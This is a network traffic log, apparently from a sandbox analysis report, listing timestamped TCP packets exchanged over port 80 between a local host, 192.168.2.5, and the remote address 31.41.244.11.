Dec 16, 2024 09:01:14.282579899 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.283416986 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.283540964 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.283585072 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.284424067 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.284472942 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.284562111 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.285356998 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.285407066 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.285492897 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.285798073 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.286359072 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.286480904 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.286528111 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.287383080 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.287467957 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.287518024 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.288372993 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.288419962 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.288465977 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.289330959 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.289387941 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.289424896 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.290085077 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.290371895 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.290494919 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.290555000 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.291347027 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.291490078 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.291563034 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.292362928 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.292435884 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.292498112 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.293374062 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.293422937 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.293495893 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.294327021 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.294380903 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.294434071 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.295310974 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.295381069 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.295427084 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.295478106 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.296339035 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.296442032 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.296495914 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.297322035 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.297475100 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.297528028 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.298301935 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.298424006 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.298472881 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.299379110 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.299552917 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.299602032 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.300322056 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.300422907 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.300468922 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.301311016 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.301480055 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.301529884 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.302294016 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.302475929 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.302522898 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.303309917 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.303370953 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.303420067 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.304361105 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.304411888 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.304440022 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.305099964 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.305291891 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.305393934 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.305439949 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.305490017 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.306267023 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.306370974 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.306441069 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.307295084 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.307400942 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.307534933 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.308310032 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.308360100 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.308408976 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.308460951 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.309323072 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.309370995 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.309452057 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.309495926 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.310256004 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.310302019 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.310347080 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.310395002 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.311252117 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.311296940 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.311363935 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.311407089 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.312247038 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.312375069 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.312427998 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.312427998 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.313275099 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.313322067 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.313417912 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.313462019 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.314275026 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.314320087 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.314357996 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.314397097 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.315243006 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.315296888 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.315366030 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.315411091 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.316273928 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.316323996 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.316370964 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.316415071 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.317244053 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.317295074 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.317337036 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.317379951 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.457809925 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.457886934 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.457915068 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.457963943 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.458110094 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.458153009 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.458332062 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.458375931 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.458446026 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.458486080 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.459331036 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.459372044 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.459481955 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.459521055 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.460309982 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.460349083 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.460417986 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.460459948 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.461325884 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.461365938 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.461436987 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.461478949 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.462320089 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.462358952 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.462388039 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.462426901 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.463388920 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.463447094 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.463449955 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.463521957 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.464314938 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.464359999 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.464413881 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.464453936 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.465296030 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.465343952 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.465495110 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.465539932 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.466326952 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.466372013 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.466430902 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.466476917 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.467298985 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.467356920 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.467406988 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.467454910 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.468327045 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.468370914 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.468430042 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.468473911 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.469304085 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.469348907 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.469414949 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.469461918 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.470299959 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.470345020 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.470400095 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.470446110 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.471307039 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.471359968 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.471461058 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.471504927 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.472322941 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.472368002 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.472408056 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.472450972 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.473721027 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.473766088 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.473805904 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.473846912 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.474600077 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.474626064 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.474653959 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.474669933 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.475359917 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.475405931 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.475461960 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.475507021 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.476355076 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.476402044 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.476442099 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.476484060 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.477365971 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.477421045 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.477579117 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.477632046 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.478358984 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.478431940 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.478454113 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.478496075 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.479248047 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.479300976 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.479367018 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.479412079 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.480276108 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.480324030 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.480417967 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.480464935 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.481250048 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.481298923 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.481345892 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.481388092 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.482244015 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.482290983 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.482316017 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.482397079 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.483393908 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.483441114 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.483452082 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.483495951 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.484260082 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.484307051 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.484354019 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.484424114 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.485266924 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.485313892 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.485409021 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.485452890 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.486213923 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.486260891 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.486305952 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.486357927 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.487245083 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.487323999 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.487358093 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.487406969 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.488219023 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.488265038 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.488310099 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.488358974 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.489228010 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.489274025 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.489320040 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.489362955 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.490225077 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.490271091 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.490345001 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.490387917 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.491234064 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.491280079 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.491395950 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.491440058 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.492197037 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.492238045 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.492368937 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.492405891 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.493184090 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.493227005 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.493311882 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.493350983 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.494283915 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.494314909 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.494347095 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.494362116 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.495192051 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.495234013 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.495270967 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.495317936 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.496191978 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.496229887 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.496289968 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.496331930 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.497205019 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.497247934 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.497291088 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.497332096 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.498228073 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.498271942 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.498286009 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.498327971 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.499170065 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.499213934 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.499274969 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.499325991 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.500174046 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.500217915 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.500288963 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.500330925 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.501158953 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.501200914 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.501298904 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.501341105 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.502182007 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.502223015 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.502249002 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.502290964 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.503190994 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.503233910 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.503335953 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.503376961 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.504168987 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.504210949 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.504290104 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.504329920 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.505153894 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.505194902 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.505263090 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.505304098 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.506177902 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.506221056 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.506283998 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.506325006 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.507131100 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.507173061 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.507273912 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.507322073 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.508162022 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.508203030 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.508261919 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.508302927 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.509156942 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.509198904 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.509233952 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.509274960 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.650094986 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.650216103 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.650296926 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.650541067 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.650619030 CET	80	49817	31.41.244.11	192.168.2.5
